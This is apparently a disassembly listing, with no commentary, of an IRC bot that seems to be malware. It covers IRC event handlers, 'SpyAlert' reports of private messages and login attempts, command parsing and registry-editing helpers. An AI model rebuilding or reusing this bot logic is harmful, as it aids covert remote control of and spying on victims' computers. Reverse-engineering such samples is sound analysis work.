a_sg ; ".sg" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4197C5 mov eax, offset aSingapore ; "Singapore" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4197C5: ; CODE XREF: sub_41912B+68Ej push offset a_si ; ".si" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4197E0 mov eax, offset aSlovenia ; "Slovenia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4197E0: ; CODE XREF: sub_41912B+6A9j push offset a_sk ; ".sk" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4197FB mov eax, offset aSlovakia ; "Slovakia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_4197FB: ; CODE XREF: sub_41912B+6C4j push offset a_st ; ".st" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_4198BD push offset a_su ; ".su" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41982B loc_419821: ; CODE XREF: sub_41912B+643j mov eax, offset aRussia ; "Russia" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41982B: ; CODE XREF: sub_41912B+6F4j push offset a_th ; ".th" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419846 mov eax, offset aThailand ; "Thailand" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419846: ; CODE XREF: sub_41912B+70Fj push offset a_tk ; ".tk" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419861 mov eax, offset aTokelauIsland ; "Tokelau Island" jmp loc_41990F ; --------------------------------------------------------------------------- loc_419861: ; CODE XREF: sub_41912B+72Aj push offset a_tr ; ".tr" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41987C mov eax, offset aTurkey ; "Turkey" jmp loc_41990F ; --------------------------------------------------------------------------- loc_41987C: ; CODE XREF: sub_41912B+745j push offset a_tw ; ".tw" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419894 mov eax, offset aTaiwan ; "Taiwan" jmp short loc_41990F ; --------------------------------------------------------------------------- loc_419894: ; CODE XREF: sub_41912B+760j push offset off_4422DC push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4198AC mov eax, offset aUkraine ; "Ukraine" jmp short loc_41990F ; --------------------------------------------------------------------------- loc_4198AC: ; CODE XREF: sub_41912B+778j push offset dword_4422D0 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4198C4 loc_4198BD: ; CODE XREF: sub_41912B+202j ; sub_41912B+6DFj mov eax, offset off_43CF08 jmp short loc_41990F ; --------------------------------------------------------------------------- loc_4198C4: ; CODE XREF: sub_41912B+790j push offset off_4422CC push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4198DC mov eax, offset aSouthAfrica ; "South Africa" jmp short loc_41990F ; --------------------------------------------------------------------------- loc_4198DC: ; CODE XREF: sub_41912B+7A8j push offset a_wap ; ".wap" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4198F4 mov eax, offset aWirelessAccess ; "WireLess Access Point" jmp short loc_41990F ; --------------------------------------------------------------------------- loc_4198F4: ; CODE XREF: sub_41912B+7C0j push offset dword_442294 push esi call sub_4235C0 pop ecx test eax, eax pop ecx mov eax, offset dword_442284 jnz short loc_41990F loc_41990A: ; CODE XREF: sub_41912B+2Ej mov eax, offset dword_43E558 loc_41990F: ; CODE XREF: sub_41912B+4Aj ; sub_41912B+65j ... pop esi leave retn sub_41912B endp ; =============== S U B R O U T I N E ======================================= sub_419912 proc near ; CODE XREF: sub_418010+1D2p ; .text:0042EF2Fj var_4 = byte ptr -4 push ecx push esi mov esi, ecx mov eax, [esi+4] push eax mov ecx, [eax] lea eax, [esp+0Ch+var_4] push ecx push eax mov ecx, esi call sub_419978 push dword ptr [esi+4] call sub_421C78 and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 pop ecx pop esi pop ecx retn sub_419912 endp ; =============== S U B R O U T I N E ======================================= sub_41993D proc near ; CODE XREF: sub_418436+1BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_4] push edi mov ebx, ecx push dword ptr [esi+4] push esi call sub_4199B0 mov [esi+4], eax mov ecx, [eax+4] lea edi, [eax+8] test edi, edi mov [ecx], eax jz short loc_419967 mov esi, [esp+0Ch+arg_8] push 61h pop ecx rep movsd loc_419967: ; CODE XREF: sub_41993D+1Fj mov ecx, [esp+0Ch+arg_0] inc dword ptr [ebx+8] pop edi pop esi mov [ecx], eax mov eax, ecx pop ebx retn 0Ch sub_41993D endp ; =============== S U B R O U T I N E ======================================= sub_419978 proc near ; CODE XREF: sub_419912+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_4] push edi mov edi, ecx jmp short loc_41999F ; --------------------------------------------------------------------------- loc_419982: ; CODE XREF: sub_419978+2Bj mov eax, esi mov esi, [esi] push eax mov ecx, [eax+4] mov edx, [eax] mov [ecx], edx mov ecx, [eax] mov edx, [eax+4] mov [ecx+4], edx call sub_421C78 dec dword ptr [edi+8] pop ecx loc_41999F: ; CODE XREF: sub_419978+8j cmp esi, [esp+8+arg_8] jnz short loc_419982 mov eax, [esp+8+arg_0] pop edi mov [eax], esi pop esi retn 0Ch sub_419978 endp ; =============== S U B R O U T I N E ======================================= sub_4199B0 proc near ; CODE XREF: sub_418010+54p ; sub_41993D+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 18Ch call sub_423F55 pop ecx mov ecx, [esp+arg_0] test ecx, ecx jnz short loc_4199C5 mov ecx, eax loc_4199C5: ; CODE XREF: sub_4199B0+11j mov [eax], ecx mov ecx, [esp+arg_4] test ecx, ecx jnz short loc_4199D1 mov ecx, eax loc_4199D1: ; CODE XREF: sub_4199B0+1Dj mov [eax+4], ecx retn 8 sub_4199B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199D7 proc near ; CODE XREF: sub_403A63+5Dp ; sub_419B2F+7Ep var_158 = byte ptr -158h var_110 = byte ptr -110h var_10A = byte ptr -10Ah var_109 = byte ptr -109h var_106 = byte ptr -106h var_105 = byte ptr -105h var_101 = byte ptr -101h var_F7 = byte ptr -0F7h var_F6 = byte ptr -0F6h var_F5 = byte ptr -0F5h var_F3 = byte ptr -0F3h var_F2 = byte ptr -0F2h var_F0 = byte ptr -0F0h var_EA = byte ptr -0EAh var_E9 = byte ptr -0E9h var_E6 = byte ptr -0E6h var_E5 = byte ptr -0E5h var_E4 = byte ptr -0E4h var_E2 = byte ptr -0E2h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 158h push ebx push esi push edi xor ebx, ebx push 100h lea eax, [ebp+var_158] push ebx push eax call sub_4221F0 mov esi, [ebp+arg_8] add esp, 0Ch cmp esi, ebx jl short loc_419A60 loc_419A01: ; CODE XREF: sub_4199D7+87j mov eax, [ebp+arg_4] lea ecx, [eax+esi*4] mov eax, [ecx] cmp eax, ebx jz short loc_419A5D mov dl, [eax] cmp dl, 2Dh jnz short loc_419A60 cmp [eax+2], bl jnz short loc_419A27 movsx edx, byte ptr [eax+1] mov [ebp+edx+var_158], 1 jmp short loc_419A4F ; --------------------------------------------------------------------------- loc_419A27: ; CODE XREF: sub_4199D7+40j cmp dl, 2Dh jnz short loc_419A60 cmp byte ptr [eax+2], 3Ah jnz short loc_419A60 cmp [eax+4], bl jnz short loc_419A60 movsx edx, byte ptr [eax+1] mov [ebp+edx+var_158], 1 cmp byte ptr [eax+1], 72h jnz short loc_419A4F mov dl, [eax+3] mov [ebp+var_38], dl loc_419A4F: ; CODE XREF: sub_4199D7+4Ej ; sub_4199D7+70j mov [eax], bl mov eax, [ecx] mov [eax+1], bl mov eax, [ecx] mov [eax+2], bl mov [ecx], ebx loc_419A5D: ; CODE XREF: sub_4199D7+34j dec esi jns short loc_419A01 loc_419A60: ; CODE XREF: sub_4199D7+28j ; sub_4199D7+3Bj ... movzx eax, [ebp+var_E5] mov [ebp+var_58], eax push 16h movzx eax, [ebp+var_EA] movzx ecx, [ebp+var_105] mov [ebp+var_54], eax mov [ebp+var_48], ecx movzx eax, [ebp+var_F0] mov [ebp+var_50], eax mov [ebp+var_2C], ecx movzx eax, [ebp+var_E2] movzx ecx, [ebp+var_F7] movzx edx, [ebp+var_109] mov [ebp+var_4C], eax mov [ebp+var_1C], ecx movzx eax, [ebp+var_F2] movzx ecx, [ebp+var_F6] mov [ebp+var_44], eax mov [ebp+var_18], ecx movzx eax, [ebp+var_E9] movzx ecx, [ebp+var_F5] mov [ebp+var_30], edx mov [ebp+var_40], eax movzx edx, [ebp+var_110] movzx eax, [ebp+var_101] mov [ebp+var_14], ecx mov [ebp+var_28], edx movzx ecx, [ebp+var_F3] movzx edx, [ebp+var_10A] mov [ebp+var_34], eax mov [ebp+var_C], ecx movzx eax, [ebp+var_E6] movzx ecx, [ebp+var_E4] mov [ebp+var_20], edx mov [ebp+var_3C], eax movzx edx, [ebp+var_106] mov [ebp+var_10], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov [ebp+var_8], ecx pop ecx lea esi, [ebp+var_58] mov edi, eax mov [ebp+var_24], edx rep movsd pop edi pop esi pop ebx leave retn sub_4199D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B2F proc near ; DATA XREF: sub_41A1C8+18o var_658 = byte ptr -658h var_258 = byte ptr -258h var_158 = dword ptr -158h var_154 = dword ptr -154h var_58 = dword ptr -58h var_54 = dword ptr -54h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 658h push ebx push esi mov esi, [ebp+arg_0] push edi inc esi cmp byte ptr [esi+1], 0 jz loc_419EDE cmp byte ptr [esi], 2Bh jnz short loc_419B6C push offset byte_44D6A4 push offset dword_442740 push esi call sub_41F167 push esi push offset dword_4395E8 call sub_41D94C add esp, 14h loc_419B6C: ; CODE XREF: sub_419B2F+1Dj lea eax, [ebp+var_658] push esi push eax call dword_42F04C ; lstrcpyA push 40h lea eax, [ebp+var_158] push esi push eax call sub_41EF08 mov cl, [ebp+var_658] add esp, 0Ch cmp cl, byte_439016 mov [ebp+arg_0], eax jnz loc_419DE5 push eax lea eax, [ebp+var_158] push eax lea eax, [ebp+var_58] push eax call sub_4199D7 add esp, 0Ch mov esi, eax lea edi, [ebp+var_58] push 16h pop ecx rep movsd xor edi, edi cmp [ebp+var_158], edi jz loc_419EDE mov eax, [ebp+var_158] mov al, [eax] cmp al, byte_439016 jnz short loc_419C42 mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] inc [ebp+var_158] mov ecx, esi push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] call sub_40FE51 test eax, eax mov ecx, esi jz short loc_419C49 call sub_41111B push eax push dword ptr [ebx+0Ch] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_419C17 mov eax, [ebx] mov [ebx+0Ch], eax loc_419C17: ; CODE XREF: sub_419B2F+E1j push edi lea eax, [ebp+var_658] sub esp, 58h lea esi, [ebp+var_58] push 16h pop ecx mov edi, esp push [ebp+arg_8] rep movsd push ebx push eax push [ebp+arg_0] lea eax, [ebp+var_158] push eax call sub_403B2C add esp, 70h loc_419C42: ; CODE XREF: sub_419B2F+ACj ; sub_419B2F+17Dj ... xor eax, eax loc_419C44: ; CODE XREF: sub_419B2F+3B2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419C49: ; CODE XREF: sub_419B2F+CDj call sub_41111B push eax push dword ptr [ebx+0Ch] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_419C98 mov ecx, esi call sub_40FEAB test eax, eax lea eax, [ebp+var_658] push eax push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] push offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k." push offset aSSpyalertSS@SS ; "%s SpyAlert: [%s!%s@%s] -> (Sent PM: \"%"... jnz loc_419D2C loc_419C85: ; CODE XREF: sub_419B2F+1F7j push offset dword_439650 push esi call sub_4104F6 add esp, 20h jmp loc_419EDE ; --------------------------------------------------------------------------- loc_419C98: ; CODE XREF: sub_419B2F+12Cj push [ebp+var_158] push offset aC7rq4Xpvel_ ; "c7RQ4/xPvel." call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_419C42 cmp [ebp+var_154], edi jz loc_419EDE push dword ptr [ebx+8] lea eax, [ebp+var_258] push dword ptr [ebx+4] push dword ptr [ebx] push offset dword_442734 push 100h push eax call sub_42219B add esp, 18h cmp dword_43C174, edi jle short loc_419D05 loc_419CE3: ; CODE XREF: sub_419B2F+1D4j lea eax, [ebp+var_258] push eax push dword ptr loc_43904C[edi*4] call sub_41F2BB pop ecx test eax, eax pop ecx jnz short loc_419D37 inc edi cmp edi, dword_43C174 jl short loc_419CE3 loc_419D05: ; CODE XREF: sub_419B2F+1B2j ; sub_419B2F+223j mov ecx, esi call sub_40FEAB push [ebp+var_154] test eax, eax push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] push offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k." push offset aSSpyalertLogin ; "%s SpyAlert: Login Attempt -> [%s!%s@%s"... jz loc_419C85 loc_419D2C: ; CODE XREF: sub_419B2F+150j push esi call sub_40FF47 jmp loc_419EDB ; --------------------------------------------------------------------------- loc_419D37: ; CODE XREF: sub_419B2F+1CBj push [ebp+var_154] call sub_41CE88 push eax push offset loc_4395A0 call sub_422760 add esp, 0Ch test eax, eax jnz short loc_419D05 push dword ptr [ebx+8] mov ecx, esi push dword ptr [ebx+4] push dword ptr [ebx] call sub_40FCF7 cmp eax, 0FFFFFFFFh mov esi, offset aH08_Drzwx_ ; "h/08./drzWX." jnz short loc_419DA6 cmp [ebp+var_58], 0 mov edi, offset aSFullTryLater ; "%s Full try Later!" jnz short loc_419D8E cmp [ebp+var_54], 0 jnz short loc_419D98 push esi push edi push dword ptr [ebx+0Ch] push [ebp+arg_8] call sub_4104F6 add esp, 10h loc_419D8E: ; CODE XREF: sub_419B2F+247j cmp [ebp+var_54], 0 jz loc_419EDE loc_419D98: ; CODE XREF: sub_419B2F+24Dj push esi push edi push dword ptr [ebx] push [ebp+arg_8] call sub_4104F6 jmp short loc_419DDD ; --------------------------------------------------------------------------- loc_419DA6: ; CODE XREF: sub_419B2F+23Cj cmp [ebp+var_58], 0 mov edi, offset aSOk ; "%s OK" jnz short loc_419DC7 cmp [ebp+var_54], 0 jnz short loc_419DD1 push esi push edi push dword ptr [ebx+0Ch] push [ebp+arg_8] call sub_4104F6 add esp, 10h loc_419DC7: ; CODE XREF: sub_419B2F+280j cmp [ebp+var_54], 0 jz loc_419EDE loc_419DD1: ; CODE XREF: sub_419B2F+286j push esi push edi push dword ptr [ebx] push [ebp+arg_8] call sub_410491 loc_419DDD: ; CODE XREF: sub_419B2F+275j add esp, 10h jmp loc_419EDE ; --------------------------------------------------------------------------- loc_419DE5: ; CODE XREF: sub_419B2F+6Cj mov ebx, [ebp+arg_8] mov ecx, ebx call sub_41111B mov esi, [ebp+arg_4] mov edi, dword_42F070 push eax push dword ptr [esi+0Ch] call edi ; dword_42F070 test eax, eax jnz loc_419EDE push [ebp+var_158] push offset dword_442728 call edi ; dword_42F070 test eax, eax jnz short loc_419E5E push (offset loc_439043+1) push offset dword_442718 push dword ptr [esi] push ebx call sub_410491 add esp, 10h mov ecx, ebx push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] call sub_40FE51 test eax, eax jnz loc_419EDE mov ecx, ebx call sub_40FEAB push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] push offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k." push offset aSVersionReques ; "%s Version request from: [%s!%s@%s]!" jmp short loc_419EC1 ; --------------------------------------------------------------------------- loc_419E5E: ; CODE XREF: sub_419B2F+2E6j push [ebp+var_158] push offset dword_4426E8 call edi ; dword_42F070 test eax, eax jnz loc_419C42 cmp [ebp+var_154], eax jz loc_419C42 push [ebp+var_154] push offset dword_4426DC push dword ptr [esi] push ebx call sub_410491 add esp, 10h mov ecx, ebx push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] call sub_40FE51 test eax, eax jnz short loc_419EDE mov ecx, ebx call sub_40FEAB push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] push offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k." push offset aSPingRequestFr ; "%s Ping request from: [%s!%s@%s]!" loc_419EC1: ; CODE XREF: sub_419B2F+32Dj test eax, eax jz short loc_419ED0 push ebx call sub_40FF47 add esp, 18h jmp short loc_419EDE ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: sub_419B2F+394j push offset dword_439650 push ebx call sub_4104F6 loc_419EDB: ; CODE XREF: sub_419B2F+203j add esp, 1Ch loc_419EDE: ; CODE XREF: sub_419B2F+14j ; sub_419B2F+98j ... xor eax, eax inc eax jmp loc_419C44 sub_419B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EE6 proc near ; DATA XREF: sub_41A1C8+29o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi mov edi, [ebp+arg_8] mov ecx, edi call sub_41111B push eax push [ebp+arg_0] call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_419F65 push 2 lea eax, [ebp+var_8] push [ebp+arg_0] push eax call sub_41EF08 add esp, 0Ch cmp [ebp+var_8], 0 jz short loc_419F65 cmp [ebp+var_4], 0 jz short loc_419F65 push esi mov esi, offset dword_439638 push esi push [ebp+var_8] call sub_422760 pop ecx pop ecx test eax, eax mov ecx, edi jnz short loc_419F46 push offset dword_43963C push esi call sub_410720 jmp short loc_419F4E ; --------------------------------------------------------------------------- loc_419F46: ; CODE XREF: sub_419EE6+51j push [ebp+var_8] call sub_4106F9 loc_419F4E: ; CODE XREF: sub_419EE6+5Ej mov eax, [ebp+arg_4] push dword ptr [eax] push offset a__0 ; "." push [ebp+var_8] push edi call sub_4104F6 add esp, 10h pop esi loc_419F65: ; CODE XREF: sub_419EE6+1Dj ; sub_419EE6+34j ... xor eax, eax pop edi leave retn sub_419EE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F6A proc near ; DATA XREF: sub_41A1C8+3Ao var_132C = byte ptr -132Ch var_32C = byte ptr -32Ch var_12C = dword ptr -12Ch var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 132Ch call sub_4220C0 push esi push edi push 1000h lea eax, [ebp+var_132C] push [ebp+arg_0] push eax call sub_4222F0 lea eax, [ebp+var_132C] push 3 push eax lea eax, [ebp+var_C] push eax call sub_41EF08 add esp, 18h cmp [ebp+var_C], 0 jz loc_41A0E0 cmp [ebp+var_8], 0 jz loc_41A0E0 mov ecx, [ebp+arg_8] call sub_41111B push eax push [ebp+var_C] call sub_422760 pop ecx pop ecx test eax, eax push 10h lea eax, [ebp+var_2C] jnz short loc_419FD7 push [ebp+var_8] jmp short loc_419FDA ; --------------------------------------------------------------------------- loc_419FD7: ; CODE XREF: sub_419F6A+66j push [ebp+var_C] loc_419FDA: ; CODE XREF: sub_419F6A+6Bj push eax call sub_4222F0 add esp, 0Ch push 3Ah push [ebp+arg_0] call sub_4233B0 mov esi, eax pop ecx inc esi pop ecx cmp byte ptr [esi], 2Bh jnz short loc_41A03C push offset dword_442740 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41A03C push esi call sub_422120 cmp eax, 6 pop ecx jbe short loc_41A03C push esi call sub_422120 dec eax push eax push 1 push esi call sub_41F133 mov edi, eax add esp, 10h test edi, edi jz short loc_41A03C push edi push offset dword_4395E8 call sub_41D94C pop ecx mov esi, edi pop ecx loc_41A03C: ; CODE XREF: sub_419F6A+8Bj ; sub_419F6A+9Cj ... mov edi, offset asc_4388F4 ; "|" push edi push esi call sub_422248 pop ecx xor esi, esi pop ecx mov [ebp+var_12C], eax inc esi loc_41A053: ; CODE XREF: sub_419F6A+102j push edi push 0 call sub_422248 pop ecx mov [ebp+esi*4+var_12C], eax test eax, eax pop ecx jz short loc_41A06E inc esi cmp esi, 40h jl short loc_41A053 loc_41A06E: ; CODE XREF: sub_419F6A+FCj lea eax, [ebp+var_2C] xor edi, edi mov [ebp+var_10], eax mov eax, offset aTopic_0 ; "topic" test esi, esi mov [ebp+var_1C], eax mov [ebp+var_18], eax mov [ebp+var_14], eax jle short loc_41A0E0 loc_41A088: ; CODE XREF: sub_419F6A+174j mov eax, [ebp+edi*4+var_12C] test eax, eax jz short loc_41A0DB push eax lea eax, [ebp+var_32C] push offset aS_1 ; "%s" push eax call sub_422063 mov al, [ebp+var_32C] add esp, 0Ch cmp al, byte_439016 jnz short loc_41A0DB push 1388h call dword_42F15C ; Sleep push 1 push 1 push [ebp+arg_8] lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_32C] push eax call sub_403A63 add esp, 14h loc_41A0DB: ; CODE XREF: sub_419F6A+127j ; sub_419F6A+14Aj inc edi cmp edi, esi jl short loc_41A088 loc_41A0E0: ; CODE XREF: sub_419F6A+3Cj ; sub_419F6A+46j ... pop edi xor eax, eax pop esi leave retn sub_419F6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0E6 proc near ; DATA XREF: sub_41A1C8+89o var_240 = dword ptr -240h var_184 = dword ptr -184h arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 240h push esi lea eax, [ebp+arg_8] push edi mov edi, [ebp+arg_8] xor esi, esi push eax lea eax, [ebp+var_240] push esi push eax push offset loc_40FB2D push esi push esi mov [ebp+var_240], edi mov [ebp+var_184], esi call dword_42F158 ; CreateThread jmp short loc_41A125 ; --------------------------------------------------------------------------- loc_41A11D: ; CODE XREF: sub_41A0E6+45j push 32h call dword_42F15C ; Sleep loc_41A125: ; CODE XREF: sub_41A0E6+35j cmp [ebp+var_184], esi jz short loc_41A11D mov ecx, edi call sub_41111B push eax mov ecx, edi call sub_4105B8 push offset byte_455608 mov ecx, edi call sub_4107E8 push offset dword_43963C push offset dword_439638 mov ecx, edi call sub_410720 pop edi xor eax, eax pop esi leave retn sub_41A0E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A15F proc near ; DATA XREF: sub_41A1C8+78o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push 2 push [ebp+arg_0] lea eax, [ebp+var_8] push eax call sub_41EF08 add esp, 0Ch cmp [ebp+var_8], 0 jz short loc_41A1A6 cmp [ebp+var_4], 0 jz short loc_41A1A6 mov esi, offset byte_455609 push offset byte_44D6A4 push esi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A1A6 mov ecx, [ebp+arg_8] push 0 push esi push [ebp+var_4] call sub_410795 loc_41A1A6: ; CODE XREF: sub_41A15F+1Bj ; sub_41A15F+21j ... xor eax, eax pop esi leave retn sub_41A15F endp ; =============== S U B R O U T I N E ======================================= sub_41A1AB proc near ; DATA XREF: sub_41A1C8+B5o arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push 5 push 7 call sub_410806 mov ecx, [esp+arg_8] push eax call sub_4110F4 xor eax, eax retn sub_41A1AB endp ; =============== S U B R O U T I N E ======================================= sub_41A1C5 proc near ; CODE XREF: sub_42A443+52p ; DATA XREF: sub_41A1C8+7o xor eax, eax retn sub_41A1C5 endp ; =============== S U B R O U T I N E ======================================= sub_41A1C8 proc near ; CODE XREF: sub_412267+498p arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi push offset sub_41A1C5 push offset aIQ ; "(I]q" mov ecx, esi call sub_40FC86 push offset sub_419B2F push offset dword_43C078 mov ecx, esi call sub_40FC86 push offset sub_419EE6 push offset dword_43C090 mov ecx, esi call sub_40FC86 mov ebx, offset sub_419F6A mov ecx, esi push ebx push offset dword_43C098 call sub_40FC86 mov edi, offset sub_4140F8 mov ecx, esi push edi push offset dword_43C0B0 call sub_40FC86 push edi push offset a302 ; "302" mov ecx, esi call sub_40FC86 push ebx push offset a332 ; "332" mov ecx, esi call sub_40FC86 push offset sub_41A15F push offset a366 ; "366" mov ecx, esi call sub_40FC86 mov edi, offset sub_41A0E6 mov ecx, esi push edi push offset a005 ; "005" call sub_40FC86 push edi push offset a376 ; "376" mov ecx, esi call sub_40FC86 push edi push offset a422 ; "422" mov ecx, esi call sub_40FC86 push offset sub_41A1AB push offset a433 ; "433" mov ecx, esi call sub_40FC86 pop edi pop esi pop ebx retn sub_41A1C8 endp ; =============== S U B R O U T I N E ======================================= sub_41A292 proc near ; CODE XREF: sub_403B2C+FCDp ; sub_403B2C+1086p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi push offset aHkey_local_mac ; "HKEY_LOCAL_MACHINE" call sub_422760 pop ecx test eax, eax pop ecx jz loc_41A369 push esi push offset aHklm ; "HKLM" call sub_422760 pop ecx test eax, eax pop ecx jz loc_41A369 push esi push offset aHkey_current_u ; "HKEY_CURRENT_USER" call sub_422760 pop ecx test eax, eax pop ecx jz loc_41A362 push esi push offset aHkcu ; "HKCU" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A362 push esi push offset aHkey_classes_r ; "HKEY_CLASSES_ROOT" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A35B push esi push offset aHkcr ; "HKCR" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A35B push esi push offset aHkey_current_c ; "HKEY_CURRENT_CONFIG" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A354 push esi push offset aHkcc ; "HKCC" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A354 push esi push offset aHkey_users ; "HKEY_USERS" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41A34D push esi push offset off_442764 call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41A369 loc_41A34D: ; CODE XREF: sub_41A292+A8j mov eax, 80000003h pop esi retn ; --------------------------------------------------------------------------- loc_41A354: ; CODE XREF: sub_41A292+86j ; sub_41A292+97j mov eax, 80000005h pop esi retn ; --------------------------------------------------------------------------- loc_41A35B: ; CODE XREF: sub_41A292+64j ; sub_41A292+75j mov eax, 80000000h pop esi retn ; --------------------------------------------------------------------------- loc_41A362: ; CODE XREF: sub_41A292+3Ej ; sub_41A292+53j mov eax, 80000001h pop esi retn ; --------------------------------------------------------------------------- loc_41A369: ; CODE XREF: sub_41A292+14j ; sub_41A292+29j ... mov eax, 80000002h pop esi retn sub_41A292 endp ; =============== S U B R O U T I N E ======================================= sub_41A370 proc near ; CODE XREF: sub_403B2C:loc_408598p ; sub_403B2C+4D2Fp arg_0 = dword ptr 4 push esi mov esi, dword_42F070 push edi mov edi, [esp+8+arg_0] push offset aReg_sz ; "REG_SZ" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E9 push offset aSz ; "SZ" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E9 push offset aReg_expand_sz ; "REG_EXPAND_SZ" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E5 push offset aEx ; "EX" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E5 push offset aReg_multi_sz ; "REG_MULTI_SZ" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E1 push offset aMu ; "MU" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3E1 push offset aReg_dword ; "REG_DWORD" push edi call esi ; dword_42F070 test eax, eax jz short loc_41A3DC push offset aDw ; "DW" push edi call esi ; dword_42F070 test eax, eax jnz short loc_41A3E9 loc_41A3DC: ; CODE XREF: sub_41A370+5Ej push 4 loc_41A3DE: ; CODE XREF: sub_41A370+73j ; sub_41A370+77j pop eax jmp short loc_41A3EC ; --------------------------------------------------------------------------- loc_41A3E1: ; CODE XREF: sub_41A370+46j ; sub_41A370+52j push 7 jmp short loc_41A3DE ; --------------------------------------------------------------------------- loc_41A3E5: ; CODE XREF: sub_41A370+2Ej ; sub_41A370+3Aj push 2 jmp short loc_41A3DE ; --------------------------------------------------------------------------- loc_41A3E9: ; CODE XREF: sub_41A370+16j ; sub_41A370+22j ... xor eax, eax inc eax loc_41A3EC: ; CODE XREF: sub_41A370+6Fj pop edi pop esi retn sub_41A370 endp ; =============== S U B R O U T I N E ======================================= sub_41A3EF proc near ; CODE XREF: sub_41A60E+159p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 4 ja short loc_41A426 jz short loc_41A420 sub eax, 0 jz short loc_41A41A dec eax 